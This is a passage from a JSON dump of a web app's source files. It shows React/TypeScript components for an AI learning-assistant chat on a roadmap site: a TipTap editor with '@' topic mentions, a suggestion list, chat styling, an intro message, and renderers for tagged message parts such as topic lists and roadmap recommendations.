    "content": "import './ChatEditor.css';\n\nimport {\n  Editor,\n  EditorContent,\n  useEditor,\n  type JSONContent,\n} from '@tiptap/react';\nimport DocumentExtension from '@tiptap/extension-document';\nimport ParagraphExtension from '@tiptap/extension-paragraph';\nimport TextExtension from '@tiptap/extension-text';\nimport Placeholder from '@tiptap/extension-placeholder';\nimport { VariableExtension } from './VariableExtension/VariableExtension';\nimport { variableSuggestion } from './VariableExtension/VariableSuggestion';\nimport { queryClient } from '../../stores/query-client';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { useQuery } from '@tanstack/react-query';\nimport { useEffect, type RefObject } from 'react';\nimport { roadmapDetailsOptions } from '../../queries/roadmap';\n\nconst extensions = [\n  DocumentExtension,\n  ParagraphExtension,\n  TextExtension,\n  Placeholder.configure({\n    placeholder: 'Ask AI anything about the roadmap...',\n  }),\n  VariableExtension.configure({\n    suggestion: variableSuggestion(),\n  }),\n];\n\nconst content = '<p></p>';\n\ntype ChatEditorProps = {\n  editorRef: RefObject<Editor | null>;\n  roadmapId: string;\n  onSubmit: (content: JSONContent) => void;\n};\n\nexport function ChatEditor(props: ChatEditorProps) {\n  const { roadmapId, onSubmit, editorRef } = props;\n\n  const { data: roadmapTreeData } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const { data: roadmapDetailsData } = useQuery(\n    roadmapDetailsOptions(roadmapId),\n    queryClient,\n  );\n\n  const editor = useEditor({\n    extensions,\n    content,\n    editorProps: {\n      attributes: {\n        class: 'focus:outline-none w-full px-4 py-2 min-h-[40px]',\n      },\n      handleKeyDown(_, event) {\n        if (!editor) {\n          return false;\n        }\n\n        if (event.key === 'Enter' && !event.shiftKey) {\n          // check if the variable suggestion list is focused\n          // if it is, return false so the default behavior is not triggered\n          const variableSuggestionList = document.getElementById(\n            'variable-suggestion-list',\n          );\n          if (variableSuggestionList) {\n            return false;\n          }\n\n          event.preventDefault();\n          onSubmit(editor.getJSON());\n          return true;\n        }\n\n        if (event.key === 'Enter' && event.shiftKey) {\n          event.preventDefault();\n          editor.commands.insertContent([\n            { type: 'text', text: ' ' },\n            { type: 'paragraph' },\n          ]);\n          return true;\n        }\n\n        return false;\n      },\n    },\n    onUpdate: ({ editor }) => {\n      editorRef.current = editor;\n    },\n    onDestroy: () => {\n      editorRef.current = null;\n    },\n  });\n\n  useEffect(() => {\n    if (!editor || !roadmapTreeData || !roadmapDetailsData) {\n      return;\n    }\n\n    editor.storage.variable.variables = roadmapTreeData.map((mapping) => {\n      return {\n        id: mapping.nodeId,\n        // to remove the title of the roadmap\n        // and only keep the path\n        // e.g. \"Roadmap > Topic > Subtopic\" -> \"Topic > Subtopic\"\n        label: mapping.text.split(' > ').slice(1).join(' > '),\n      };\n    });\n  }, [editor, roadmapTreeData, roadmapDetailsData]);\n\n  return (\n    <div className=\"chat-editor w-full py-1.5\">\n      <EditorContent editor={editor} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatEditor/VariableExtension/VariableExtension.tsx",
    "content": "import { mergeAttributes, Node } from '@tiptap/core';\nimport { type DOMOutputSpec, Node as ProseMirrorNode } from '@tiptap/pm/model';\nimport { PluginKey } from '@tiptap/pm/state';\nimport Suggestion, { type SuggestionOptions } from '@tiptap/suggestion';\n\n// See `addAttributes` below\nexport interface VariableNodeAttrs {\n  /**\n   * The identifier for the selected item that was mentioned, stored as a `data-id`\n   * attribute.\n   */\n  id: string | null;\n  /**\n   * The label to be rendered by the editor as the displayed text for this mentioned\n   * item, if provided. Stored as a `data-label` attribute. See `renderLabel`.\n   */\n  label?: string | null;\n}\n\nexport type VariableOptions<\n  SuggestionItem = any,\n  Attrs extends Record<string, any> = VariableNodeAttrs,\n> = {\n  /**\n   * The HTML attributes for a mention node.\n   * @default {}\n   * @example { class: 'foo' }\n   */\n  HTMLAttributes: Record<string, any>;\n\n  /**\n   * A function to render the label of a mention.\n   * @deprecated use renderText and renderHTML instead\n   * @param props The render props\n   * @returns The label\n   * @example ({ options, node }) => `${options.suggestion.char}${node.attrs.label ?? node.attrs.id}`\n   */\n  renderLabel?: (props: {\n    options: VariableOptions<SuggestionItem, Attrs>;\n    node: ProseMirrorNode;\n  }) => string;\n\n  /**\n   * A function to render the text of a mention.\n   * @param props The render props\n   * @returns The text\n   * @example ({ options, node }) => `${options.suggestion.char}${node.attrs.label ?? node.attrs.id}`\n   */\n  renderText: (props: {\n    options: VariableOptions<SuggestionItem, Attrs>;\n    node: ProseMirrorNode;\n  }) => string;\n\n  /**\n   * A function to render the HTML of a mention.\n   * @param props The render props\n   * @returns The HTML as a ProseMirror DOM Output Spec\n   * @example ({ options, node }) => ['span', { 'data-type': 'mention' }, `${options.suggestion.char}${node.attrs.label ?? node.attrs.id}`]\n   */\n  renderHTML: (props: {\n    options: VariableOptions<SuggestionItem, Attrs>;\n    node: ProseMirrorNode;\n  }) => DOMOutputSpec;\n\n  /**\n   * Whether to delete the trigger character with backspace.\n   * @default false\n   */\n  deleteTriggerWithBackspace: boolean;\n\n  /**\n   * The suggestion options.\n   * @default {}\n   * @example { char: '@', pluginKey: MentionPluginKey, command: ({ editor, range, props }) => { ... } }\n   */\n  suggestion: Omit<SuggestionOptions<SuggestionItem, Attrs>, 'editor'>;\n};\n\nexport type VariableType = {\n  id: string;\n  label: string;\n};\n\nexport type VariableStorage = {\n  variables: VariableType[];\n};\n\n/**\n * The plugin key for the variable plugin.\n * @default 'variable'\n */\nexport const VariablePluginKey = new PluginKey('variable');\n\nexport const VariableExtension = Node.create<VariableOptions, VariableStorage>({\n  name: 'variable',\n\n  priority: 101,\n\n  addStorage() {\n    return {\n      variables: [],\n    };\n  },\n\n  addOptions() {\n    return {\n      HTMLAttributes: {},\n      renderText({ options, node }) {\n        return `${options.suggestion.char}${node.attrs.label ?? node.attrs.id}`;\n      },\n      deleteTriggerWithBackspace: false,\n      renderHTML({ options, node }) {\n        return [\n          'span',\n          mergeAttributes(this.HTMLAttributes, options.HTMLAttributes),\n          `${options.suggestion.char}${node.attrs.label ?? node.attrs.id}`,\n        ];\n      },\n      suggestion: {\n        char: '@',\n        pluginKey: VariablePluginKey,\n        command: ({ editor, range, props }) => {\n          // increase range.to by one when the next node is of type \"text\"\n          // and starts with a space character\n          const nodeAfter = editor.view.state.selection.$to.nodeAfter;\n          const overrideSpace = nodeAfter?.text?.startsWith(' ');\n\n          if (overrideSpace) {\n            range.to += 1;\n          }\n\n          editor\n            .chain()\n            .focus()\n            .insertContentAt(range, [\n              {\n                type: this.name,\n                attrs: props,\n              },\n              {\n                type: 'text',\n                text: ' ',\n              },\n            ])\n            .run();\n\n          // get reference to `window` object from editor element, to support cross-frame JS usage\n          editor.view.dom.ownerDocument.defaultView\n            ?.getSelection()\n            ?.collapseToEnd();\n        },\n        allow: ({ state, range }) => {\n          const $from = state.doc.resolve(range.from);\n          const type = state.schema.nodes[this.name];\n          const allow = !!$from.parent.type.contentMatch.matchType(type);\n\n          return allow;\n        },\n      },\n    };\n  },\n\n  group: 'inline',\n\n  inline: true,\n\n  selectable: false,\n\n  atom: true,\n\n  addAttributes() {\n    return {\n      id: {\n        default: null,\n        parseHTML: (element) => element.getAttribute('data-id'),\n        renderHTML: (attributes) => {\n          if (!attributes.id) {\n            return {};\n          }\n\n          return {\n            'data-id': attributes.id,\n          };\n        },\n      },\n\n      label: {\n        default: null,\n        parseHTML: (element) => element.getAttribute('data-label'),\n        renderHTML: (attributes) => {\n          if (!attributes.label) {\n            return {};\n          }\n\n          return {\n            'data-label': attributes.label,\n          };\n        },\n      },\n    };\n  },\n\n  parseHTML() {\n    return [\n      {\n        tag: `span[data-type=\"${this.name}\"]`,\n      },\n    ];\n  },\n\n  renderHTML({ node, HTMLAttributes }) {\n    if (this.options.renderLabel !== undefined) {\n      console.warn(\n        'renderLabel is deprecated use renderText and renderHTML instead',\n      );\n      return [\n        'span',\n        mergeAttributes(\n          { 'data-type': this.name },\n          this.options.HTMLAttributes,\n          HTMLAttributes,\n        ),\n        this.options.renderLabel({\n          options: this.options,\n          node,\n        }),\n      ];\n    }\n    const mergedOptions = { ...this.options };\n\n    mergedOptions.HTMLAttributes = mergeAttributes(\n      { 'data-type': this.name },\n      this.options.HTMLAttributes,\n      HTMLAttributes,\n    );\n    const html = this.options.renderHTML({\n      options: mergedOptions,\n      node,\n    });\n\n    if (typeof html === 'string') {\n      return [\n        'span',\n        mergeAttributes(\n          { 'data-type': this.name },\n          this.options.HTMLAttributes,\n          HTMLAttributes,\n        ),\n        html,\n      ];\n    }\n    return html;\n  },\n\n  renderText({ node }) {\n    if (this.options.renderLabel !== undefined) {\n      console.warn(\n        'renderLabel is deprecated use renderText and renderHTML instead',\n      );\n      return this.options.renderLabel({\n        options: this.options,\n        node,\n      });\n    }\n    return this.options.renderText({\n      options: this.options,\n      node,\n    });\n  },\n\n  addKeyboardShortcuts() {\n    return {\n      Backspace: () =>\n        this.editor.commands.command(({ tr, state }) => {\n          let isVariable = false;\n          const { selection } = state;\n          const { empty, anchor } = selection;\n\n          if (!empty) {\n            return false;\n          }\n\n          state.doc.nodesBetween(anchor - 1, anchor, (node, pos) => {\n            if (node.type.name === this.name) {\n              isVariable = true;\n              tr.insertText(\n                this.options.deleteTriggerWithBackspace\n                  ? ''\n                  : this.options.suggestion.char || '',\n                pos,\n                pos + node.nodeSize,\n              );\n\n              return false;\n            }\n          });\n\n          return isVariable;\n        }),\n    };\n  },\n\n  addProseMirrorPlugins() {\n    return [\n      Suggestion({\n        editor: this.editor,\n        ...this.options.suggestion,\n      }),\n    ];\n  },\n});\n"
  },
  {
    "path": "src/components/ChatEditor/VariableExtension/VariableSuggestion.tsx",
    "content": "import { ReactRenderer } from '@tiptap/react';\nimport type { SuggestionOptions } from '@tiptap/suggestion';\nimport tippy, { type GetReferenceClientRect } from 'tippy.js';\n\nimport {\n  forwardRef,\n  Fragment,\n  useEffect,\n  useImperativeHandle,\n  useState,\n} from 'react';\nimport { cn } from '../../../lib/classname';\nimport type { VariableStorage, VariableType } from './VariableExtension';\nimport { ChevronRight } from 'lucide-react';\n\nexport type VariableListProps = {\n  command: (variable: VariableType) => void;\n  items: VariableType[];\n} & SuggestionOptions;\n\nexport const VariableList = forwardRef((props: VariableListProps, ref) => {\n  const { items, command } = props;\n  const [selectedIndex, setSelectedIndex] = useState(0);\n\n  const selectItem = (index: number) => {\n    const item = props.items[index];\n\n    if (!item) {\n      return;\n    }\n\n    command(item);\n  };\n\n  useEffect(() => {\n    setSelectedIndex(0);\n  }, [items]);\n\n  useImperativeHandle(ref, () => ({\n    onKeyDown: ({ event }: { event: KeyboardEvent }) => {\n      if (event.key === 'ArrowUp') {\n        setSelectedIndex((selectedIndex + items.length - 1) % items.length);\n        return true;\n      }\n\n      if (event.key === 'ArrowDown') {\n        setSelectedIndex((selectedIndex + 1) % items.length);\n        return true;\n      }\n\n      if (event.key === 'Enter') {\n        selectItem(selectedIndex);\n        return true;\n      }\n\n      return false;\n    },\n  }));\n\n  return (\n    <div\n      id=\"variable-suggestion-list\"\n      className=\"flex max-w-[300px] flex-col gap-0.5 overflow-auto rounded-lg border border-gray-200 bg-white p-1 shadow-sm\"\n    >\n      {items.length ? (\n        items.map((item, index) => {\n          const labelParts = item?.label.split('>');\n\n          return (\n            <button\n              className={cn(\n                'flex items-center gap-1 truncate rounded-md p-1 px-1.5 text-left text-sm hover:bg-gray-100',\n                index === selectedIndex && 'bg-gray-100',\n              )}\n              key={index}\n              onClick={() => selectItem(index)}\n            >\n              {labelParts.map((labelPart, counter) => {\n                const isLast = counter === labelParts.length - 1;\n                return (\n                  <Fragment key={counter}>\n                    <span\n                      className={cn({\n                        'text-gray-400': !isLast,\n                        'text-gray-900': isLast,\n                      })}\n                    >\n                      {labelPart.trim()}\n                    </span>\n                    {!isLast && (\n                      <ChevronRight className=\"inline size-3 flex-shrink-0 stroke-[1.5] text-gray-400\" />\n                    )}\n                  </Fragment>\n                );\n              })}\n            </button>\n          );\n        })\n      ) : (\n        <div className=\"rounded-md p-1 px-1.5 text-left text-sm\">No result</div>\n      )}\n    </div>\n  );\n});\n\nVariableList.displayName = 'VariableList';\n\nexport function variableSuggestion(): Omit<SuggestionOptions, 'editor'> {\n  return {\n    items: ({ editor, query }) => {\n      const storage = editor.storage.variable as VariableStorage;\n\n      return storage.variables\n        .filter((variable) =>\n          variable?.label?.toLowerCase().includes(query.toLowerCase()),\n        )\n        .slice(0, 5);\n    },\n\n    render: () => {\n      let component: ReactRenderer<any>;\n      let popup: InstanceType<any> | null = null;\n\n      return {\n        onStart: (props) => {\n          component = new ReactRenderer(VariableList, {\n            props,\n            editor: props.editor,\n          });\n\n          if (!props.clientRect) {\n            return;\n          }\n\n          popup = tippy('body', {\n            getReferenceClientRect: props.clientRect as GetReferenceClientRect,\n            appendTo: () => document.body,\n            content: component.element,\n            showOnCreate: true,\n            interactive: true,\n            trigger: 'manual',\n            placement: 'top-start',\n          });\n        },\n\n        onUpdate(props) {\n          component.updateProps(props);\n\n          if (!props.clientRect) {\n            return;\n          }\n\n          popup[0].setProps({\n            getReferenceClientRect: props.clientRect,\n          });\n        },\n\n        onKeyDown(props) {\n          if (props.event.key === 'Escape') {\n            popup[0].hide();\n\n            return true;\n          }\n\n          return component.ref?.onKeyDown(props);\n        },\n\n        onExit() {\n          popup[0].destroy();\n          component.destroy();\n        },\n      };\n    },\n  };\n}\n"
  },
  {
    "path": "src/components/ChatMessages/AIChat.css",
    "content": ".ai-chat {\n  .prose ul li > code,\n  .prose ol li > code,\n  p code,\n  a > code,\n  strong > code,\n  em > code,\n  h1 > code,\n  h2 > code,\n  h3 > code {\n    background: #ebebeb !important;\n    color: currentColor !important;\n    font-size: 14px;\n    font-weight: normal !important;\n  }\n\n  .message-markdown.prose ul li > code,\n  .message-markdown.prose ol li > code,\n  .message-markdown.prose p code,\n  .message-markdown.prose a > code,\n  .message-markdown.prose strong > code,\n  .message-markdown.prose em > code,\n  .message-markdown.prose h1 > code,\n  .message-markdown.prose h2 > code,\n  .message-markdown.prose h3 > code {\n    font-size: 12px !important;\n  }\n\n  .message-markdown pre {\n    -ms-overflow-style: none;\n    scrollbar-width: none;\n  }\n\n  .message-markdown pre::-webkit-scrollbar {\n    display: none;\n  }\n\n  .message-markdown pre,\n  .message-markdown pre {\n    overflow: scroll;\n  }\n\n  .prose ul li > code:before,\n  p > code:before,\n  .prose ul li > code:after,\n  .prose ol li > code:before,\n  p > code:before,\n  .prose ol li > code:after,\n  .message-markdown h1 > code:after,\n  .message-markdown h1 > code:before,\n  .message-markdown h2 > code:after,\n  .message-markdown h2 > code:before,\n  .message-markdown h3 > code:after,\n  .message-markdown h3 > code:before,\n  .message-markdown h4 > code:after,\n  .message-markdown h4 > code:before,\n  p > code:after,\n  a > code:after,\n  a > code:before {\n    content: '' !important;\n  }\n\n  .message-markdown.prose ul li > code,\n  .message-markdown.prose ol li > code,\n  .message-markdown p code,\n  .message-markdown a > code,\n  .message-markdown strong > code,\n  .message-markdown em > code,\n  .message-markdown h1 > code,\n  .message-markdown h2 > code,\n  .message-markdown h3 > code,\n  .message-markdown table code {\n    background: #f4f4f5 !important;\n    border: 1px solid #282a36 !important;\n    color: #282a36 !important;\n    padding: 2px 4px;\n    border-radius: 5px;\n    white-space: pre;\n    font-weight: normal;\n  }\n\n  .message-markdown blockquote {\n    font-style: normal;\n  }\n\n  .message-markdown.prose blockquote h1,\n  .message-markdown.prose blockquote h2,\n  .message-markdown.prose blockquote h3,\n  .message-markdown.prose blockquote h4 {\n    font-style: normal;\n    margin-bottom: 8px;\n  }\n\n  .message-markdown.prose ul li > code:before,\n  .message-markdown p > code:before,\n  .message-markdown.prose ul li > code:after,\n  .message-markdown p > code:after,\n  .message-markdown h2 > code:after,\n  .message-markdown h2 > code:before,\n  .message-markdown table code:before,\n  .message-markdown table code:after,\n  .message-markdown a > code:after,\n  .message-markdown a > code:before,\n  .message-markdown h2 code:after,\n  .message-markdown h2 code:before,\n  .message-markdown h2 code:after,\n  .message-markdown h2 code:before {\n    content: '' !important;\n  }\n\n  .message-markdown table {\n    border-collapse: collapse;\n    border: 1px solid black;\n    border-radius: 5px;\n  }\n\n  .message-markdown table td,\n  .message-markdown table th {\n    padding: 5px 10px;\n  }\n\n  .chat-variable {\n    font-size: 12px;\n    font-weight: 500;\n    line-height: 1.5;\n    padding: 2px 4px;\n    border-radius: 8px;\n    background-color: #f0f5ff;\n    color: #2c5df1;\n  }\n}\n"
  },
  {
    "path": "src/components/ChatMessages/RoadmapChatIntroMessage.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { officialRoadmapOptions } from '../../queries/official-roadmap';\nimport { queryClient } from '../../stores/query-client';\n\ntype RoadmapChatIntroMessageProps = {\n  roadmapId: string;\n};\n\nexport function RoadmapChatIntroMessage(props: RoadmapChatIntroMessageProps) {\n  const { roadmapId } = props;\n\n  const { data: roadmapDetail } = useQuery(\n    officialRoadmapOptions(roadmapId),\n    queryClient,\n  );\n  const topicNodes = roadmapDetail?.nodes?.filter(\n    (node) => node.type === 'topic',\n  );\n\n  const firstTopicNode = topicNodes?.[0];\n  const firstTopicTitle = firstTopicNode?.data?.label || 'XYZ';\n\n  const secondTopicNode = topicNodes?.[1];\n  const secondTopicTitle = secondTopicNode?.data?.label || 'XYZ';\n\n  const capabilities = [\n    {\n      icon: '📚',\n      title: 'Learn concepts:',\n      description: 'Ask me about any topics on the roadmap',\n      examples:\n        '\"Explain what React hooks are\" or \"How does async/await work?\"',\n    },\n    {\n      icon: '📊',\n      title: 'Track progress:',\n      description: 'Mark topics as done, learning, or skipped',\n      examples: `\"Mark ${firstTopicTitle} as done\" or \"Show my overall progress\"`,\n    },\n    {\n      icon: '🎯',\n      title: 'Recommendations:',\n      description: 'Find what to learn next or explore other roadmaps',\n      examples: `\"What should I learn next?\" or \"Recommend roadmaps for backend development\"`,\n    },\n    {\n      icon: '🔍',\n      title: 'Find resources:',\n      description: 'Get learning materials for specific topics',\n      examples: `\"Show me resources for learning ${secondTopicTitle}\"`,\n    },\n    {\n      icon: '🔗',\n      title: 'Share progress:',\n      description: 'Get a link to share your learning progress',\n      examples: '\"Give me my shareable progress link\"',\n    },\n  ];\n\n  return (\n    <div className=\"space-y-2 text-sm text-gray-700\">\n      <div className=\"flex items-start gap-3\">\n        <div>\n          <h3 className=\"mb-2 font-medium text-gray-900\">\n            Hi! I'm your AI learning assistant 👋\n          </h3>\n          <p className=\"mb-3\">\n            I'm here to guide you through your learning journey on this roadmap.\n            I can help you understand concepts, track your progress, and provide\n            personalized learning advice.\n          </p>\n        </div>\n      </div>\n\n      <div className=\"space-y-3\">\n        <h4 className=\"font-medium text-gray-900\">\n          Here's what I can help you with:\n        </h4>\n\n        <div className=\"space-y-3\">\n          {capabilities.map((capability, index) => (\n            <div key={index} className=\"flex items-start gap-2\">\n              <span className={`font-medium`}>{capability.icon}</span>\n              <div>\n                <span className=\"font-medium text-black\">\n                  {capability.title}\n                </span>{' '}\n                {capability.description}\n                <div className=\"mt-1 text-xs text-gray-600\">\n                  Try: {capability.examples}\n                </div>\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n\n      <div className=\"mt-4 rounded-lg bg-gray-50 p-3\">\n        <p className=\"text-xs text-black\">\n          <span className=\"font-medium\">Tip:</span> I can see your current\n          progress on the roadmap, so my advice will be personalized to your\n          learning journey. Just ask me anything about the topics you see on the\n          roadmap!\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/RoadmapChatMessage.tsx",
    "content": "import { Markdown } from '../Global/Markdown';\nimport { BotIcon, User2Icon } from 'lucide-react';\nimport type { UIMessage } from 'ai';\nimport { parseMessageParts } from '../../lib/message-part';\nimport { RoadmapChatUserProgressList } from './UserProgressList';\nimport {\n  parseUserProgress,\n  UserProgressActionList,\n} from './UserPrgressActionList';\nimport { parseTopicList, RoadmapTopicList } from './RoadmapTopicList';\nimport { ShareResourceLink } from './ShareResourceLink';\nimport {\n  parseRoadmapSlugList,\n  RoadmapRecommendations,\n} from './RoadmapRecommendations';\nimport { cn } from '../../lib/classname';\n\ntype RoadmapMessageProps = {\n  roadmapId: string;\n  message: UIMessage;\n  isStreaming: boolean;\n  children?: React.ReactNode;\n  onTopicClick?: (topicId: string, topicTitle: string) => void;\n};\n\nexport function RoadmapChatMessage(props: RoadmapMessageProps) {\n  const { roadmapId, message, isStreaming, children, onTopicClick } = props;\n  const { role } = message;\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col rounded-lg',\n        role === 'user' ? 'bg-gray-300/30' : 'bg-yellow-500/30',\n      )}\n    >\n      <div className=\"flex items-start gap-2.5 p-3\">\n        <div\n          className={cn(\n            'flex size-6 shrink-0 items-center justify-center rounded-full',\n            role === 'user'\n              ? 'bg-gray-200 text-black'\n              : 'bg-yellow-400 text-black',\n          )}\n        >\n          {role === 'user' ? (\n            <User2Icon className=\"size-4 stroke-[2.5]\" />\n          ) : (\n            <BotIcon className=\"size-4 stroke-[2.5]\" />\n          )}\n        </div>\n\n        {children || (\n          <div>\n            {message.parts.map((part) => {\n              const { type } = part;\n\n              if (role === 'user' && type === 'text') {\n                return (\n                  <div\n                    key={`message-${message.id}-part-${type}`}\n                    className=\"prose prose-sm message-markdown max-w-full text-sm\"\n                    dangerouslySetInnerHTML={{ __html: part.text ?? '' }}\n                  />\n                );\n              }\n\n              if (type === 'text') {\n                const text = part.text;\n                const parts = parseMessageParts(text, {\n                  'user-progress': () => {\n                    return {};\n                  },\n                  'update-progress': (opts) => {\n                    return parseUserProgress(opts.content);\n                  },\n                  'roadmap-topics': (opts) => {\n                    return parseTopicList(opts.content);\n                  },\n                  'resource-progress-link': () => {\n                    return {};\n                  },\n                  'roadmap-recommendations': (opts) => {\n                    return parseRoadmapSlugList(opts.content);\n                  },\n                });\n\n                return parts.map((part, index) => {\n                  const { type } = part;\n                  const key = `message-${message.id}-part-${type}-${index}`;\n\n                  if (type === 'text') {\n                    return (\n                      <Markdown\n                        key={key}\n                        className=\"prose prose-sm message-markdown max-w-full text-sm\"\n                      >\n                        {part.text ?? ''}\n                      </Markdown>\n                    );\n                  } else if (type === 'user-progress') {\n                    return (\n                      <RoadmapChatUserProgressList\n                        key={key}\n                        roadmapId={roadmapId}\n                      />\n                    );\n                  } else if (type === 'update-progress') {\n                    return (\n                      <UserProgressActionList\n                        key={key}\n                        roadmapId={roadmapId}\n                        updateUserProgress={part.data}\n                        isLoading={isStreaming}\n                      />\n                    );\n                  } else if (type === 'roadmap-topics') {\n                    return (\n                      <RoadmapTopicList\n                        key={key}\n                        roadmapId={roadmapId}\n                        topics={part.data}\n                        onTopicClick={onTopicClick}\n                      />\n                    );\n                  } else if (type === 'resource-progress-link') {\n                    return (\n                      <ShareResourceLink key={key} roadmapId={roadmapId} />\n                    );\n                  } else if (type === 'roadmap-recommendations') {\n                    return (\n                      <RoadmapRecommendations\n                        key={key}\n                        roadmapSlugs={part.data}\n                      />\n                    );\n                  }\n\n                  return null;\n                });\n              }\n            })}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/RoadmapChatMessages.tsx",
    "content": "import type { ChatStatus, UIMessage } from 'ai';\nimport { memo } from 'react';\nimport { RoadmapChatMessage } from './RoadmapChatMessage';\nimport { useIsThinking } from '../../hooks/use-is-thinking';\n\ntype MessagesProps = {\n  messages: UIMessage[];\n  status: ChatStatus;\n  roadmapId: string;\n  onTopicClick?: (topicId: string, topicTitle: string) => void;\n  defaultQuestions?: string[];\n  onDefaultQuestionClick?: (question: string) => void;\n};\n\nfunction _RoadmapChatMessages(props: MessagesProps) {\n  const {\n    messages,\n    status,\n    roadmapId,\n    defaultQuestions,\n    onTopicClick,\n    onDefaultQuestionClick,\n  } = props;\n\n  const isStreaming = status === 'streaming';\n  const isThinking = useIsThinking(messages, status);\n\n  return (\n    <div className=\"absolute inset-0 flex flex-col\">\n      <div className=\"relative flex grow flex-col justify-end\">\n        <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n          <RoadmapChatMessage\n            roadmapId={roadmapId}\n            message={{\n              id: '__welcome_message__',\n              role: 'assistant',\n              parts: [\n                {\n                  type: 'text',\n                  text: 'Hello, how can I help you today?',\n                },\n              ],\n            }}\n            isStreaming={isStreaming}\n          />\n\n          {messages.length === 0 &&\n            defaultQuestions &&\n            defaultQuestions.length > 0 && (\n              <div className=\"mt-0.5 mb-1\">\n                <p className=\"mb-2 text-xs font-normal text-gray-500\">\n                  Some questions you might have about this roadmap:\n                </p>\n                <div className=\"flex flex-col justify-end gap-1\">\n                  {defaultQuestions.map((question, index) => (\n                    <button\n                      key={`default-question-${index}`}\n                      className=\"flex h-full self-start rounded-md bg-yellow-500/10 px-3 py-2 text-left text-sm text-black hover:bg-yellow-500/20\"\n                      onClick={() => onDefaultQuestionClick?.(question)}\n                    >\n                      {question}\n                    </button>\n                  ))}\n                </div>\n              </div>\n            )}\n\n          {messages.map((message, index) => {\n            const isLastMessage = index === messages.length - 1;\n\n            // otherwise it will add an extra space at the end of the message\n            // because the last message is not rendered\n            if (isThinking && isLastMessage && message.role === 'assistant') {\n              return null;\n            }\n\n            return (\n              <RoadmapChatMessage\n                key={message.id}\n                roadmapId={roadmapId}\n                message={message}\n                isStreaming={isStreaming}\n                onTopicClick={onTopicClick}\n              />\n            );\n          })}\n\n          {isThinking && (\n            <RoadmapChatMessage\n              roadmapId={roadmapId}\n              message={{\n                id: '__thinking_message__',\n                role: 'assistant',\n                parts: [\n                  {\n                    type: 'text',\n                    text: 'Thinking...',\n                  },\n                ],\n              }}\n              isStreaming={isStreaming}\n            />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport const RoadmapChatMessages = memo(_RoadmapChatMessages);\n"
  },
  {
    "path": "src/components/ChatMessages/RoadmapRecommendations.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { useMemo } from 'react';\nimport { Loader2Icon, SquareArrowOutUpRightIcon } from 'lucide-react';\nimport { listBuiltInRoadmaps } from '../../queries/roadmap';\nimport { queryClient } from '../../stores/query-client';\n\ntype RoadmapSlugListType = {\n  roadmapSlug: string;\n};\n\nexport function parseRoadmapSlugList(content: string): RoadmapSlugListType[] {\n  const items: RoadmapSlugListType[] = [];\n\n  const roadmapSlugListRegex = /<roadmap-slug>.*?<\\/roadmap-slug>/gs;\n  const roadmapSlugListItems = content.match(roadmapSlugListRegex);\n  if (!roadmapSlugListItems) {\n    return items;\n  }\n\n  for (const roadmapSlugListItem of roadmapSlugListItems) {\n    const roadmapSlugRegex = /<roadmap-slug>(.*?)<\\/roadmap-slug>/;\n    const roadmapSlug = roadmapSlugListItem\n      .match(roadmapSlugRegex)?.[1]\n      ?.trim();\n    if (!roadmapSlug) {\n      continue;\n    }\n\n    items.push({\n      roadmapSlug,\n    });\n  }\n\n  return items;\n}\n\ntype RoadmapRecommendationsProps = {\n  roadmapSlugs: RoadmapSlugListType[];\n};\n\nexport function RoadmapRecommendations(props: RoadmapRecommendationsProps) {\n  const { roadmapSlugs } = props;\n\n  const { data: roadmaps, isLoading } = useQuery(\n    listBuiltInRoadmaps(),\n    queryClient,\n  );\n\n  const progressItemWithText = useMemo(() => {\n    return roadmapSlugs.map((item) => {\n      const roadmap = roadmaps?.find(\n        (mapping) => mapping.id === item.roadmapSlug,\n      );\n\n      return {\n        ...item,\n        title: roadmap?.title,\n      };\n    });\n  }, [roadmapSlugs, roadmaps]);\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      {progressItemWithText.map((item) => (\n        <a\n          href={`/${item.roadmapSlug}/ai`}\n          target=\"_blank\"\n          key={item.roadmapSlug}\n          className=\"group flex h-[34px] items-center gap-2 rounded-lg border border-gray-200 bg-white px-2.5 py-1.5 text-left text-sm text-gray-700 transition-all hover:border-gray-400 hover:text-black active:bg-gray-100\"\n        >\n          {item.title}\n          {isLoading && (\n            <Loader2Icon className=\"size-3.5 animate-spin text-gray-400 group-hover:text-gray-600\" />\n          )}\n          {!isLoading && (\n            <SquareArrowOutUpRightIcon className=\"ml-1 size-3.5 text-gray-400 transition-transform group-hover:text-gray-600\" />\n          )}\n        </a>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/RoadmapTopicList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { Fragment, useMemo } from 'react';\nimport { ChevronRightIcon } from 'lucide-react';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\n\ntype TopicListType = {\n  topicId: string;\n};\n\nexport function parseTopicList(content: string): TopicListType[] {\n  const items: TopicListType[] = [];\n\n  const topicListRegex = /<topic-id>.*?<\\/topic-id>/gs;\n  const topicListItems = content.match(topicListRegex);\n  if (!topicListItems) {\n    return items;\n  }\n\n  for (const topicListItem of topicListItems) {\n    const topicIdRegex = /<topic-id>(.*?)<\\/topic-id>/;\n    const topicId = topicListItem.match(topicIdRegex)?.[1]?.trim();\n    if (!topicId) {\n      continue;\n    }\n\n    items.push({\n      topicId,\n    });\n  }\n\n  return items;\n}\n\ntype RoadmapTopicListProps = {\n  roadmapId: string;\n  onTopicClick?: (topicId: string, topicTitle: string) => void;\n  topics: TopicListType[];\n};\n\nexport function RoadmapTopicList(props: RoadmapTopicListProps) {\n  const { roadmapId, topics: topicListItems, onTopicClick } = props;\n\n  const { data: roadmapTreeData } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const progressItemWithText = useMemo(() => {\n    return topicListItems.map((item) 